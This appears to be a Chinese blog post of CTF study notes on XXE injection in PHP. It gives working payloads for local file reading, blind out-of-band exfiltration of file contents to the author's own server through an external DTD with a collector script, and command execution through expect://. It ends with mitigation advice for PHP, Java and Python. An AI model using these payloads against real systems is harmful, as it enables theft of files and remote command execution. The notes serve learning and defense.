XXE学习

Jun 8, 2018 09:54 · 261 words · 2 minute read ctf

.

XML简介

  • XML 指可扩展标记语言(_EX_tensible _M_arkup _L_anguage)
  • XML 是一种_标记语言_,很类似 HTML
  • XML 的设计宗旨是_传输数据_,而非显示数据
  • XML 标签没有被预定义。您需要_自行定义标签_。
  • XML 被设计为具有_自我描述性_。 W3C教程

XXE简介

XXE(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在允许加载外部实体,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

外部引用示例(SYSTEM)

第一种

<?php  
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY content SYSTEM "file:///C:/1.txt">
]>
<c>&content;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

第二种

1.php

<?php  
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % content SYSTEM "http://127.0.0.1/1.dtd">
    %content;
]>
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

1.dtd如下

<!ENTITY b SYSTEM "file:///C:/1.txt">

第三种

1.php

<?php  
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE content SYSTEM "http://127.0.0.1/1.dtd">
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

1.dtd

<!ENTITY b SYSTEM "file:///C:/1.txt">

第三个没有试验成功,先记下来。

另外,不同程序支持的协议不一样

PHP Java .NET libxml2
file http file file
http https http http
ftp ftp ftp ftp
php file https
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

XXE复现

读取任意文件

文件代码如下

<?php  
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % content SYSTEM "http://127.0.0.1/1.dtd">
    %content;
]>
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问该文件

127.0.0.1/1.php

SimpleXMLElement Object ( [b] => SimpleXMLElement Object ( [b] => yang!!!!!!!!!!!!!!ssssssssssssssssssssss ) ) 

无回显的情况下读取文件(blind XXE)

上面的利用是在页面有回显得情况下才可以利用的,如果页面没有回显,就需要利用带外信道提取数据。

简单说 就是将读取到的文件内容发送到自己的服务器上。

复现 上传的xml文件内容(45.php)

<?php  
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "file:///C:/1.txt">
 <!ENTITY % xml SYSTEM "http://192.168.10.119/yang.xml">
%xml;
%send;
]>
EOF;
// $data = simplexml_load_string(file_get_contents($xml));
$data = simplexml_load_string($xml);
print_r($data);
?>

服务器yang.xml代码

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.10.119/get.php?file=%file;'>"
>
%all;

服务器get.php代码

<?php

file_put_contents("/home/yang/yang.txt",$_GET['file']);

?>

访问上传的文件,读取的文件内容就会在服务器的yang.txt里记录下来。

PS:这里要注意yang.txt的权限。

执行系统命令

<?php  
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
 <!ENTITY xxe SYSTEM "expect://dir">
]>
<a>&xxe;</a>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

这个需要php安装expect扩展。

探测内网

没有出现文章所说的报错,可能和php版本有关。

防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

 JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

 Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

参考文档

tweet Share